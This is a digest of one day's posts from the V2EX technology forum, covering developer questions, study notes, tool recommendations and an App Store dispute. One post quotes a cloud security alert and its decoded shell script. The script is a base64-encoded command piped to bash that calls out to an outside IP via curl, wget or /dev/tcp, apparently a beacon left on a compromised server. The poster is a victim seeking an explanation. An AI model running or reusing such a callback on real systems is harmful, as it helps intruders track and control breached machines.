Friday, October 29, 2021

V2EX - 技术

V2EX - 技术


Google Voice 回收政策再升级

Posted: 29 Oct 2021 04:15 AM PDT

Account Inactivity

Google may reclaim your Google Voice number (if you have one) if you have not placed or answered calls, or sent or opened text messages for a period of 3 months. We will not reclaim numbers that have been ported into Google Voice or made permanent.

从 6 个月无通话,发短信缩短为 3 个月,各位大佬请及时修改 IFFF 保号规则

Google Voice 政策

有推荐的开源团队协作工具吗?

Posted: 29 Oct 2021 04:13 AM PDT

想自己团队内部署一个包含界面好看,功能健全看板功能的团队协作工具。
首先试了一下 JordanKnott/taskcafe ,发现虽然界面不错,但是大部分功能并没有开发完全,而且还有很多小 bug ( Admin 删除其他用户无响应、非初始用户登陆时 Invalid username/Invalid password )等等。
其他比较老的几个 kanban 类项目界面又太过于老旧,所以想问问有什么比较推荐的开源团队协作 /Kanban 类项目吗?

不用各平台写技术博客,自己搭建网站写自己的技术博客有啥好处的

Posted: 29 Oct 2021 04:13 AM PDT

!!!

求个 Java 工具类(计算两个时间内的自然周数)

Posted: 29 Oct 2021 04:03 AM PDT

周六开始 也算一周,截至到周一 也算一周 算自然周的个数,而不是相差周的个数

麻了

大家公司对提交代码都有什么限制要求,好奇了解下?

Posted: 29 Oct 2021 04:01 AM PDT

我们现在要求每一行代码的 commit 信息都要关联上任务编号,然后代码量+任务复杂度等来计算开发效率。

请教一个 tp5 路由的设置问题、

Posted: 29 Oct 2021 03:58 AM PDT

现在有一个这样的需求、https://www.v2ex.com/signin 这个 signin 是我们的路由 路由下面有几十个 html 我该怎么写 公司官网用户打开这个路由然后随机请求一篇随机 html 文章呢

老问题,现在流行什么方法管理多个环境下的 k8s 项目

Posted: 29 Oct 2021 03:41 AM PDT

我只比较过 helm 和 kustomize ; 简单的使用了一下 kustomize, 发现好多想要的功能都没有。这两个项目都是聚焦管理单个项目。
对于普通企业来说,更需要的是管理多个项目,并且每个项目之间的差异很小。还有一点就是多环境下的项目,有些全局的配置不一样,比如 hostsalias.我发现用 kustomize 要修改类似 hostsalias 的值就比较麻烦。也不是说不能实现,就是很麻烦。别扭。需要用到 patchesJson6902 这样的方式。
helm 2.0 时代看过,那时候要安装一个组件到 k8s, 就放弃了。3.0 似乎不用安装了。

目前我自己是用 yaml 管理这些需要修改的值,然后通过 sed 方式替换到 deploy.yaml 和 service.yaml.

我就想问下,有什么好的解决方案吗?

有没有某种方法可以让摄像头不联网,但仍然可以看到视频?就是说,有没有局域网摄像头?

Posted: 29 Oct 2021 03:40 AM PDT

简而言之,我需要一个摄像头监控我刚出生的儿子,他在自己房间睡觉,我在另一个房间办公

但目前市面上很多摄像头都要联网,这显然有很大的网络安全问题

请问各路大神,有无可能,搞一个最简单的方案,一头是摄像头和麦克风,一头是显示器和音箱,并且不联因特网、不经过路由器?

树莓派?

谢谢

高性能 MySQL 学习 10 月

Posted: 29 Oct 2021 03:35 AM PDT

服务器逻辑架构

客户端     连接线程处理         查询缓存         解析器             优化器                 存储引擎 

事务

特性

1.原子(事务内所有 sql 为一个原子),一致(事务内所有 sql 一起提交),隔离,持久(永久保留在数据库中)

隔离级别

1.未提交读( READ UNCOMMITTED ),事务可以读取未提交的数据,也叫脏读。
2.提交读( READ COMMITED ),一个事务从开始到提交所做的任务修改对其他事务都是不可见的,也叫不可重复读。
3.可重复读( REPEATABLE READ ),解决脏读的问题,保证同一个事务多次读取同样的记录结果是一致的,但随之会产生幻读(当一个事务读取某范围值时,另一个事务插入了新的记录,之前的事务再次读取改范围的记录,产生的幻行)的问题,InnoDB 和 XtraDB 存储引擎通过多版本并发控制解决幻读问题( MVCC ),可重复读时 musql 默认的事务隔离级别。
4.可串行化( SERIALIZABLE ),最高隔离级别,强制事务串行执行,避免了幻读,给每一行枷锁,导致大量的超时和锁争用的问题。

死锁

1.两个事务里的 sql 的锁被对方锁定,陷入的死循环。
2.InnoDB 目前处理死锁的方法是,将只有最少行级的排他锁(写锁)的事务进行回滚。?

事务日志

1.又称预写式日志,事务日志持久化之后,内存中被修改的数据在后台慢慢刷回到磁盘,修改数据要写两次磁盘。?

多版本并发控制

1.MVCC 通过保存数据的某个时间点快照来实现
2.通过两个隐藏列,一个列是保存行的创建时间,一个是行的过期时间(或删除时间)
3.MVCC 只在 REPEATABLE READ 和 READ COMMITTED 两个隔离级别下工作

存储引擎

1.数据库可称 schema 保存在数据目录下的一个子目录,创建表时,mysql 会在数据库子目录下的创建一个和表同名的.frm 文件来保存表的定义

行的格式

1.可选值 Dynamic,Fixed 或者 Compressed,Dynamic 的行长度是可变的如 varchar 和 blob ,Fixed 的行长度是固定的,如 char 和 interger

如何把 utf8 汉字转 16 进制格式

Posted: 29 Oct 2021 03:31 AM PDT

echo Utf8ToHex("5g"); function Utf8ToHex($str){     $str = rawurlencode($str);     $arr = explode('%',$str);     $Hex = implode('',$arr);     return $Hex; } 

我这个函数如果是汉字的情况它就是正确,如果是数字+英文,他就不行了。 比如输入5g得到 16 进制是35 67; 输入123456得到 16 进制是31 32 33 34 35 36; 网上找了几个 php 语言方法都不太好使

现在还有做爬虫的小伙伴吗?

Posted: 29 Oct 2021 03:27 AM PDT

我看蘑菇代理已经停止运营了. 那你们都使用什么代理池呢? 有性价比比较高的推荐吗?

Windows 11 上的微软拼音输入栏上的表情符号按钮可以隐藏吗?

Posted: 29 Oct 2021 03:26 AM PDT

一直使用 macOS 对于 Windows 不太了解,
通过搜索引擎也没有找到解决办法,
Windows 11 的微软拼音的外观设置里没有隐藏表情符号的设置。

conan 使用 qt6 的 Could not find the Qt platform plugin "windows" 问题

Posted: 29 Oct 2021 03:07 AM PDT

电脑上没有装过 qt ,想用 conan 试试。用 vs2019 ,编译是正常的,但运行时提示:

qt.qpa.plugin: Could not find the Qt platform plugin "windows" in "" This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem. 

我的 conanfile.txt 是这么写的:

[generators] visual_studio  [requires] qt/6.2.1  [options] *:shared=True  [imports] bin, *.dll -> . lib, *.dylib* -> . 

不知道有没有小伙伴遇到过这个的。

程序就是官网上复制的:

#include <QtWidgets>  // Include header files for application components. // ...  int main(int argc, char* argv[]) {     QApplication app(argc, argv);      // Set up and show widgets.     // ...      return app.exec(); } 

试过用 vcpkg 装 qt ,但安装时编译失败。

网上查到似乎与 qwindows.dll 这几个文件有关,但我是用 conan 装的,压根没看到这几个文件。

收到条阿里云的告警,看不懂是做什么用的,请教一下

Posted: 29 Oct 2021 03:02 AM PDT

告警信息

进程异常行为-可疑编码命令待处理 备注 该告警由如下引擎检测发现: 用户名: chrony 命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash 进程路径: /bin/dash 进程 ID: 26803 父进程文件路径: /usr/bin/perl 父进程 ID: 26798 事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。 

解密后的脚本

#!/bin/bash function __curl() {   read proto server path <<<$(echo ${1//// })   DOC=/${path// //}   HOST=${server//:*}   PORT=${server//*:}   [[ x"${HOST}" == x"${PORT}" ]] && PORT=80    exec 3<>/dev/tcp/${HOST}/$PORT   echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3   (while read line; do    [[ "$line" == $'\r' ]] && break   done && cat) <&3   exec 3>&- }  if [ -x "$(command -v curl)" ]; then   curl -o /dev/null 212.147.32.35/gcae/101.37.78.108 elif [ -x "$(command -v wget)" ]; then   wget -q -O- 212.147.32.35/gcae/101.37.78.108 else   __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null fi 

有没有小公司用的密码管理平台?

Posted: 29 Oct 2021 02:53 AM PDT

需求是这样的:

我想分享一个密码,链接发出去(可能是微信群,或者邮件抄送等,或者嵌入在开发文档中)。

但只有这个 [密码管理平台] 的授权公司内部的用户才能打开看到,

如果用户想申请查看,也可以自动提交申请授权。

并且分享的链接有自动过期时间限制。

10 月日常开发使用

Posted: 29 Oct 2021 02:45 AM PDT

JS

reduce

1.reduce() 方法接收一个函数作为累加器,数组中的每个值(从左到右)开始缩减,最终计算为一个值

reduce([65, 44, 12, 4]); 

时间 moment

1.https://itbilu.com/nodejs/npm/VkCir3rge.html#parse-init
2.https://itbilu.com/nodejs/npm/EJlmbFhgg.html

获得今天、明天和昨天的日期。 let today     = moment(new Date());  let tomorrow  = moment(new Date()).add(1,'days');  let yesterday = moment(new Date()).add(-1, 'days'); 

判断文件是否存在

1.用 fs 模块的 access,当然还有其他也能用,后续可以多看看

isFileExit(url) {     return new Promise(function(resolve, reject) {       fs.access(url, err => {         if (err) {           reject(false);         } else {           resolve(true);         }       });     });   } 

ffmpeg

1.视频音频图片处理 2.有 ffmpeg,ffplay,ffprode 可用,这边用的是 ffmpeg -i ,详情可以去官网看

 getVideoTime(url) {     const ffmpeg = utils.config('bin_ffmpeg');     exec(ffmpeg + ' -i ' + url, function(err, stdout, stderr) {       const outStr = stderr.toString();       const regDuration = /Duration\: ([0-9\:\.]+),/;       const rs = regDuration.exec(outStr);       if (rs[1]) return rs[1];     });     return '';   } 

mysql

DATE_FORMAT() 函数用于以不同的格式显示日期 /时间数据。

  1. DATE_FORMAT(date,format)
  2. %k 小时 (0-23)

timestampdiff()函数

  1. TIMESTAMPDIFF(unit,begin,end)
  2. HOUR DAY 之类的参数

批量更新

1.如果有个字段不能为空又未设置默认值需要把改字段加进去,如这边需要加个 project_id

INSERT INTO `assets` ( `id`, `video_time` ) VALUES 	( 3693, 22 ), 	( 3691, 22 )  	ON DUPLICATE KEY UPDATE `id` = VALUES 	( `id` ), 	`video_time` = VALUES 	( 	`video_time`) 

2.通过 INNER JOIN ON

UPDATE AA AS aa INNER JOIN BB AS bb ON bb.id = aa.asset_id  SET aa.asset_created_at = FROM_UNIXTIME( bb.created_at, '%Y-%m-%d' )  WHERE 	aa.id >= 362904105  	AND aa.id <= 362914104 

时间转换

1.时间戳转换成日期 FROM_UNIXTIME(time,"%Y-%m-%d")
2.把日期转换为时间戳 UNIX_TIMESTAMP('2015-04-15')

多字段模糊查询

SELECT * FROM article WHERE  title REGEXP "车|摩托|红色|美国|2006" 

laravel

array_only 取二维数组的键值组成一个数组

  1. array_only($item, ['targeting_name', 'targeting_id']);

array_except

1.array_except 函数从数组中删除给定的键 /值对

$array = ['name' => 'Desk', 'price' => 100]; $filtered = array_except($array, ['name']); dd($filtered); array:1["price"=>100] 

migrate

1.$table->date('asset_create_at')->nullable(true)->comment = '素材上传时间';
2.当设置时间为空时不能用 default 。

PHP

array_flip

1.array_flip() 函数用于反转 /交换数组中所有的键名以及它们关联的键值。

$a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow"); $result=array_flip($a1); print_r($result); Array ( [red] => a [green] => b [blue] => c [yellow] => d ) 

list() 函数

1.list() 函数用于在一次操作中给一组变量赋值

<?php $my_array = array("Dog","Cat","Horse");  list($a, $b, $c) = $my_array; echo "I have several animals, a $a, a $b and a $c."; ?> 

compact

<?php $firstname = "Peter"; $lastname = "Griffin"; $age = "41";  $result = compact("firstname", "lastname", "age");  print_r($result); ?> Array ( [firstname] => Peter [lastname] => Griffin [age] => 41 ) 

array_column

<?php // 表示由数据库返回的可能记录集的数组 $a = array(   array(     'id' => 5698,     'first_name' => 'Bill',     'last_name' => 'Gates',   ),   array(     'id' => 4767,     'first_name' => 'Steve',     'last_name' => 'Jobs',   ),   array(     'id' => 3809,     'first_name' => 'Mark',     'last_name' => 'Zuckerberg',   ) );  $last_names = array_column($a, 'last_name'); print_r($last_names); ?> Array (   [0] => Gates   [1] => Jobs   [2] => Zuckerberg ) 

yield

  1. 比较适合计算大量的数据,节省内存
  2. 需要循环才能拿到数据

为什么程序员到一定年纪开始关注管理相关的内容,不再在技术上深入下去?

Posted: 29 Oct 2021 02:31 AM PDT

转个知乎问题回答: https://www.zhihu.com/question/485901214/answer/2193462107

其实这个问题从我刚毕业的时候就一直在思考,也一直在网络上查相关的问题,包括但不限于以下命题:

  1. 程序员是不是到了 35 岁就会被淘汰?
  2. 程序员是不是年龄大了只能转管理?
  3. 技术和业务哪个更重要?
  4. 程序员的发展方向是什么?
  5. ...

诸如此类的问题,在知乎上也比比皆是,不信我随手给你截一个图:

图片

这个问题,我觉得不同的年龄段、不同的工作经验、不同的工作环境给出的答案是不一样的,我的回答也只代表我此时此刻( 2021.10 )的想法。

题主这个问题,细拆一下大概有两个关键因素:

  1. 程序员的年龄
  2. 是否转管理

下面我就细说一下我的思考。

程序员的年龄

先说说年龄这个问题。

程序员这个工作确实是一个逆水行舟的工作,不进则退,如果你的职级、负责的事情没有随着年龄的增长而增长,那你在找工作的时候就会受到质疑(声明一下我没质疑过别人,只是在网络上见过别人发出这样的质疑),所以从这个角度来说,这也造成了程序员的卷。

而且程序员行业普遍年龄都偏小,大部分都是二十多的小年轻,在整体年轻化的工作氛围下,对年龄大的容忍度比较小,何况还有那么多压榨人的小公司。

是否转管理

这个问题放到几年前,或许我无法很好的回答,我可以照着网上很多回答说"不用非要转管理啊,你也可以安安静静的做技术专家啊"之类的话,但是以我此时此刻( 2021.10 )的认知,我的回答是:

肯定是要转管理

转管理这件事情是不用犹豫的,你唯一需要犹豫的是:是否要在做管理的同时依然保持技术敏感度

你想想随着你职级的升高、负责事情越来越多、事情规模越来越大,你一个人肯定不可能面面俱到的做所有事情,所以你必然会带一个小组或者团队,只要人数大于 2 ,那必然会出现管理问题。

怎么管好事情?怎么管好人?怎么让大家可以开开心心的做事?怎么让大家把事情做成?怎么让你的上级觉得你能管好这个团队?这都是问题,这是你无法抗拒的,这也是你必须解决的。

还有就是,大部分公司所谓技术,也就那么回事儿,真正有意思的做出牛批的产品,不管是面向普通用户的商业产品还是面向程序员的技术产品,而做这种产品总是需要一个团队的,所以这就又绕回到管理上来了。

最后,待过大公司的人应该都知道,互联网公司的干活儿模式其实可以粗浅的分为三级:

  1. 负责人
  2. 小组长
  3. 干活儿的

这里面,第 3 级就是大部分人所处的位置,主要是以干活儿为主,基本上就是块砖,哪儿需要就往哪搬;第 2 级是小组长,也就是带领大家干活儿的人,一般是带三四个人,小组长只有分活儿的权力,没有打绩效和人事权力;第 1 级就是负责人,也就是在组织关系上有明确节点的人,有人事权和绩效权,可以决定团队方向和划分蛋糕。

以目前的情况来看,如果真的对自己的技术很有自信,那么为什么不往技术管理的方向走呢?去带领更多的技术人做出更高的产品,这一点在多年前雷军就有谈到过(原文地址:我的程序人生路( 1996 年旧文) | 雷军的博客

高级程序员不是追求的目标

有的人学习编程技术,是把高级程序员做为追求的目标,甚至是终身的奋斗目标。后来参与了真正的商品化软件开发后,反而困惑了,茫然了。

一个人只要有韧性和灵性,有机会接触并学习电脑的编程技术,就会成为一个不错的程序员。刚开始写程序,这时候学得多的人写的好,到了后来,大家都上了一个层次,谁写的好只取决于这个人是否细心、有韧性、有灵性。掌握多一点或少一点,很快就能补上。成为一个高级程序员并不是件困难的事。

当我上学的时候,高级程序员也曾是我的目标,我希望我的技术能得到别人的承认。后来发现无论多么高级的程序员都没用,关键是你是否能够出想法出产品,你的劳动是否能被社会承认,能为社会创造财富。成为高级程序员绝对不是追求的目标

至于是否在做管理的同时依然保持技术敏感度,也就看自己了,如果是我的话,我会依然保持对技术的敏感度,毕竟我本身还是很喜欢写代码的,这一点因人而异。

最后

最后总结一下,以目前( 2021.10 )的情况来看,程序员到了一定年龄必须要关注管理,因为做更大的事情需要更大的团队去完成,而且社会因为年龄也会对你有更高的要求。

不过,我还是希望有那么一天,没有人再问此类问题,所有程序员不管什么年纪都可以沉醉的写代码,不会因为年龄、资历而受到质疑,这一天应该会很快到来。

买笔记本,原装 win11 还是 win10,哪个好?

Posted: 29 Oct 2021 02:28 AM PDT

笔记本原装 win11 还是 win10 好?

据说 Windows 11 的系统内置应用中大量使用了 Webview,不知道是不是真的?

Posted: 29 Oct 2021 02:21 AM PDT

没实际体验过 Windows 11 ,不过之前看到网上有人说开机就能看到 Webview 的进程在跑。

数据分析、挖掘、大数据的问题请求大佬解答

Posted: 29 Oct 2021 02:18 AM PDT

有一个商品订单记录宽表,是经过多表清洗后形成的,每条数据以一条订单为维度,里面有几个重要的字段(下单人的年龄、性别、喜好、本次订单的购物商品),其中,商品是以 JSON 数组存储在单个字段中的。

需求:基于这些字段,通过一些数据分析、挖掘等操作后,可以离线计算,形成一个对外提供的服务,支持以下功能: 1 、根据喜好推荐商品,判定依据需要来源于上述的数据。 2 、根据上述字段,输出一些统计分析的结论出来

我不太懂大数据、数据分析挖掘相关的东西,想请教一下各位大佬,处理这个需求有没有什么适用的中间件或数据库,百度了一圈也不太清晰,如 Flink 、ClickHouse 、Neo4j 、ES 、Pandas 等等

PS:上述的商品订单场景,是为了方便理解,举个类似例子,实际的场景是垂直行业,不太好描述😆

开源协议的修改源码应该怎么理解?

Posted: 29 Oct 2021 02:00 AM PDT

class A extends B  {} 

比如 B 是某个 Apache2 协议的类,我继承之后改了 A ,这种情况需要说明吗?

怎么算是修改源代码?继承重写算吗,还是只是修改源代码文件才算修改源码。

两张升降桌子同步升降方案

Posted: 29 Oct 2021 12:53 AM PDT

市场上竟然没有能解决的。。。这个需求很反人类吗? 有没有吊大的知道怎么弄。。。


  • 不限品牌
  • 没有预算
  • 改装也行

七彩虹主板不能开启 TPM2.0

Posted: 29 Oct 2021 12:40 AM PDT

Colorful CVN B460M Gaming Pro 这是京东买的主板,想装 Windows 11 发现报错...官网看了下,BIOS 也没升级文件,这 B 着升级主板?

老哥们看下这是什么黑科技啊,虚拟机下面可以监听微信吗?

Posted: 29 Oct 2021 12:22 AM PDT

facebook 重命名为 META 了?

Posted: 29 Oct 2021 12:06 AM PDT

扎克伯格对元宇宙这么看好么?

Python 官方 2021 年开发者调查

Posted: 28 Oct 2021 11:14 PM PDT

https://surveys.jetbrains.com/s3/c1-python-developers-survey-2021

嘿,Pythonista:

这是第五次官方 Python 开发者调查。通过本次调查,我们旨在了解 Python 开发世界的现状以及与去年的对比情况。2020 年,来自 150 多个国家 /地区的 28,000 多名 Python 开发者回答了问题,大家积极分享观点,并帮助我们获得了 Python 社区的准确数据。

本次调查的结果会作为 Python 社区现状的主要知识来源,我们鼓励您花费 10-15 分钟来填写以支持本计划。

今年,我们增加了一些问题,这些问题将帮助 CPython 常驻开发者和 Python 打包项目经理根据社区反馈来确定其工作的优先级。

调查结束后,我们将发布汇总结果并(从完整完成本调查的开发者中)随机挑选 20 位获奖者,每位获奖者都将获得一张 100 美元的 Amazon 礼品卡或当地等价物。
感谢您为本社区工作做出的贡献!

求助帖

Posted: 28 Oct 2021 10:38 PM PDT

mongodb 里面 对标 mysql 的 case when 是怎么查询的,找了半天没找到实用的。用 mongotemplate 怎么写,麻烦有没有大佬给个资料或者直接指点一下。 4346e3eb11bd4d389afeabbd916c121.png

我想按照这个 startTime ,每天分组求和, 把 6 点到 9 点的 flowInNum 字段数据求和然后给个新字段 monring 默认是早上 把 11 点到 13 点的 flowInNum 字段数据求和然后给个新字段 afternoon 默认是中午 把 18 点到 20 点的 flowInNum 字段数据求和然后给个新字段 night 默认是晚上

如何识别声音中的语速、情绪、自信以及亲合度等信息?

Posted: 28 Oct 2021 10:11 PM PDT

如何根据一段语音判断 说话人的 声音流利度、亲和度、自信等信息,有开源的库可以做到的吗,如果想实时的去分析和发现,有没有什么好的处理方案?

升级到 Windows 11 之后 Windows Security 窗口一打开就崩溃

Posted: 28 Oct 2021 09:28 PM PDT

尝试了一些 Google 里找到的命令行方式,但是都没有解决。

大家有遇到过这个问题并且解决了的吗?

国内有没有 www.boce.com 上面 DNS 查询、劫持检测的商业服务,支持定时全网检测并告警的?

Posted: 28 Oct 2021 09:26 PM PDT

最近我们有一个 CDN 域名被 Local DNS 封禁了,发现在 boce.com 上面的 DNS 查询,得到 127.0.01 或 0.0.0.0 解析的地区正好是我们被封禁的地区,所以想看下哪家提供类似这种检测的商业服务,并支持定时报警。

试用了下 DNS.com 的网站安全检测服务,DNS 查询结果里 127.0.0.1 或者 0.0.0.0 解析也认为正常了,并没有报警,所以想用他们家的都不行哈。

onedrive 转化成 web 网盘,有没有推荐?

Posted: 28 Oct 2021 08:41 PM PDT

注册了 E5 开发者,5T 空间,想弄成个网盘用

Go 官方 2021 年开发者调查

Posted: 28 Oct 2021 08:23 PM PDT

看到有 Python 的朋友发了个开发者调查的消息,发现 Go 也开始了,分享一下

https://go.dev/blog/survey2021

开源图数据库公司 Nebula Graph(https://github.com/vesoft-inc/nebula)招资深云服务开发工程师/初中级前端工程师

Posted: 28 Oct 2021 08:23 PM PDT

公司发展迅速,团队氛围融洽,不 push 工作有计划,适合想长期稳定做技术项目,寻找潜在机会的人,有兴趣的可以私聊🤝

使用 myeclipse 实现登录注册功能时发生 Java .lang.ClassNotFoundException.ClassNotFoundException(String s)错误,

Posted: 28 Oct 2021 06:38 PM PDT

新人初学 Java 只看了 B 站上杜杜老师的 Java 基础视频,想要做一个简单的图书管理程序来 实现登录注册功能的代码是直接扒下面的网址上的 https://blog.csdn.net/yangruxi/article/details/72455971 除了游戏那一部分我不需要所以我没扒以外,其他都依葫芦画瓢给弄好了 然后不知道为啥就运行的时候报错了 debug 指引出错的代码为 throw new ClassNotFoundException(name); 解释里的内容是: Open Declaration java.lang.ClassNotFoundException.ClassNotFoundException(String s)

Constructs a ClassNotFoundException with the specified detail message.

Parameters: s the detail message.

我看了下这行代码是位于 src 文档里面 rt.jar 里的 Java.net 里 URLClassLoader 里 findClass(String):Class<?>下的

通过百度找到了相关了问题,但是尝试了很多方法都没有结果,其中教程中很多解决方法我都还看不懂,唯一能使用的两个,都无疾而终

这两个方法分别是 https://zhidao.baidu.com/question/871972065292501692.html 按照相同方法操作,在 add 部分后我没有找到 Maven Dependencies 用于添加 第二个是 https://blog.csdn.net/zrf1335348191/article/details/50773255 只有安装这一部分我能理解,于是去下载安装,但是在安装过程却发生无法安装的错误,尝试将 JDK 卸载之后重启再安装,仍然是无法安装 其他的类似错误的网址我都有去看,但是都不大能看懂,所以来问了,真心求高手帮忙,我着急于要将这个简单的东西做出来给我老师看

今天公司系统(大面积)异常的卡,资源占用根本不大,是不是阿三又在搞什么东西啊,有相同情况的吗?

Posted: 28 Oct 2021 02:35 PM PDT

如题,Winddows 10 、11 ; 鼠标一顿一顿的;重启会好点,然后一段时间后又卡;从任务管理器性能上看没啥异常,扫描也没有扫到毒。 1.png

发现了个很奇怪的现象,关于 parallelStream 的

Posted: 28 Oct 2021 11:46 AM PDT

这个接口的处理类似这样

List<Data> dataList = xxx.paralleStream().map(e->dealData(e)).collect(Collector.toList()); 

其中有的 dealData 会用 http 调用外部接口。我在每个 dealData 都打印了时间,基本都在 50ms 左右徘徊。按理说这个方法的处理时间应该是耗时最长的那个,但是最终结果却差的很远。这个接口除了并发流基本就没什么操作了。服务器间的时延可以忽略不计。好神奇

目标是全栈开发一个游戏,目前只会后端写 golang,会一点 C++。应该怎么继续入门啊?大家有推荐的路线吗

Posted: 28 Oct 2021 11:41 AM PDT

Go 终于要搞泛型了 (1.18 版本)

Posted: 28 Oct 2021 10:23 AM PDT

groups.google.com/g/golang-dev/c/iuB22_G9Kbo/m/7B1jd1I3BQAJ

"Go 1.18 will include support for generics."

App Store 审核说我的 App 山寨抄袭我开源代码的 App 并拒绝了版本更新

Posted: 28 Oct 2021 10:02 AM PDT

首先交代下背景。

我是 iOS App waifu2x的作者。我在 2017 年开发并上架了本 App ,并将代码开源在 GitHub 上: https://github.com/imxieyi/waifu2x-ios

在之后有很多人通过各种渠道请求我移植 Mac 版,比如这个 issue。本来我并没有计划移植,但是实在请求的人太多,所以我在 2018 年初就移植到了 Mac 上并开源: https://github.com/imxieyi/waifu2x-mac

因为我没有计划上架,所以只做了个非常简单的 demo UI: https://imgur.com/a/3Av7dfV

没想到,没过多久就被一个国内开发商直接盗用并发到了 App Store 上并收费 18 元(现在的价格是调过的): https://apps.apple.com/cn/app/waifu2x/id1387298406?mt=12

以防万一 archive 在此处: https://archive.md/oS8sHhttps://archive.md/d9Nhp

截图里的界面是不是很熟悉?我是根本想不到连这种只是用于 demo 的 UI 都会被人直接发到 App Store 上。

我还是从 GitHub issue 得知这件事的: https://github.com/imxieyi/waifu2x-mac/issues/1

可惜我当年还是学生,并没有意识到这件事情的严重性,所以一直就没管它。但是,这件事确实给了我警示,所以从那以后我把 waifu2x-ios 的 App Store 版 fork 到 private repo 并基本停止更新开源版。

去年我通过 Mac Catalyst 把 iOS 版移植到了 Mac 上,上架时遇到了问题:名字 waifu2x 已经被占用了。本着多一事不如少一事的原则,我就将 App 改名为 waifu magnifier 上架,App 里面依旧显示 waifu2x 。在这一年中多次更新版本都没遇到过问题: https://apps.apple.com/us/app/waifu-magnifier/id1479332784

直到昨天再次尝试提交更新时,Apple 审核直接把我拒了,理由如下:

Guideline 4.1 - Design - Copycats

Your app or its metadata appears to contain potentially misleading content. Specifically, your app includes content that resembles "WaiFu2x" without the necessary authorization.

Next Steps

Please demonstrate your relationship with any third-party brand owners represented in your app.

???这直接把我干破防了。是我山寨抄袭我代码的 App ?还得亏我去年更新过一次 waifu2x-mac 的 UI ,而这开发商立即又盗用更新后的 UI 代码更新他的 App 。

从头到尾这个垃圾开发商就没联系过我获取相关的授权。我承认我当年还是 too young too simple ,选了个宽松的 MIT 许可证,换到现在我至少也要用 Apache (我当然也知道所谓开源许可证在国内就是废纸一张)。只能说做开源项目真的得慎重,这种容易被人直接拿去赚 free money 的项目最好一开始就不要开源。

我已经向 Apple 投诉侵权,看看这个垃圾开发商怎么回复。

为什么 TCP 的 payload 是通过 IP 的总长度-IP 的头部长度-TCP 的头部长度 得到? UDP 却不是?

Posted: 28 Oct 2021 08:48 AM PDT

如上图所示,TCP 的 payload 是通过 IP 的总长度-IP 的头部长度-TCP 的头部长度 得到的 1452 - 20 - 20 = 1412.所以这个 1412 也是通过这三个值才计算出来的,不是原本就存在的。

如上图所示,UDP 我用同样的方式,却算不出来。 59-20-39=0.那 UDP payload 的那个 31 是怎么算出来的呢

我蒙了,求指点

吐槽一下 Windows, 今天的更新不像一个稳重的系统该做的事

Posted: 28 Oct 2021 08:22 AM PDT

今天安装了一个更新,发现设置界面变成了这样:

上方很大一块,都是在提醒你"做任务"、"更换为 Edge 浏览器"、"把 Bing 作为默认搜索引擎"。

这难道不是手机这类"玩具级"系统才会做的吗? Windows 作为一个生产力工具,我觉得不该这么搞。

目前还没发现应该怎么关掉。

Raft Consensus Algorithm - matchIndex[]的作用是什么?

Posted: 28 Oct 2021 08:14 AM PDT

新 app 上架 AppStore 反复被拒

Posted: 28 Oct 2021 08:09 AM PDT

The review of your app is taking longer than expected. Once we have completed our review, we will notify you via Resolution Center.


审核员留下以上信息便拒绝了 app 。重新提交后,第二天又被拒绝,留言还是上面那段。反复几次后就一直处在等待审核状态了

所谓的设计系统

Posted: 28 Oct 2021 06:37 AM PDT

是的,我今天就想批判一下那些披着「设计(系统 /语言)」外衣的研发工程师。

设计系统( Design system )这个概念应该是从国外最先有的。它的定义是:

A Design System is a set of interconnected patterns and shared practices coherently organized
设计系统是被统一组织起来的一系列紧密关联的模式和可重用的实践。

国内的组件库只有 Antd 在推出的时候声称自己是 一个 UI 设计语言,虽然当时我还不知道什么叫做设计语言,什么是设计系统。但是从工程师的角度我知道它就是 一套组件库

一直到近两年,越来越多的前端团队以设计系统为排面推出自己的组件库的时候,我就觉得有些不对劲儿了。

哪里不对劲儿了?我在想我们实际上做的事情不就是设计了一套组件库吗,为什么要把设计放在前面。这似乎传达给我们一种信号:

我们应该是设计先行?我们应该优先做设计角度取舍。
相反的,工程层面实现那就应该向设计方向妥协?

我想并不是这样的,或者说不应该是这样的。

设计 永远是最上层的,它们关注的用户的外在、外观感受,它是感性的、多变的,没有唯一标准的。你很难想象用一套设计系统满足所有人的需求对吧?因为我喜欢蓝色,你喜欢红色这是不需要解释的。

工程 永远是最底层的,它关注事物内在的东西、自身属性,它是理性的、不变的,有迹可循的。所以工程层面追求的是一致、复用和效率。没人喜欢一个相同的组件在不同的实现上有不一样的 API 。

在「前端工程师」这个职位名字中,「前端」是个形容词,「工程师」才是名词。

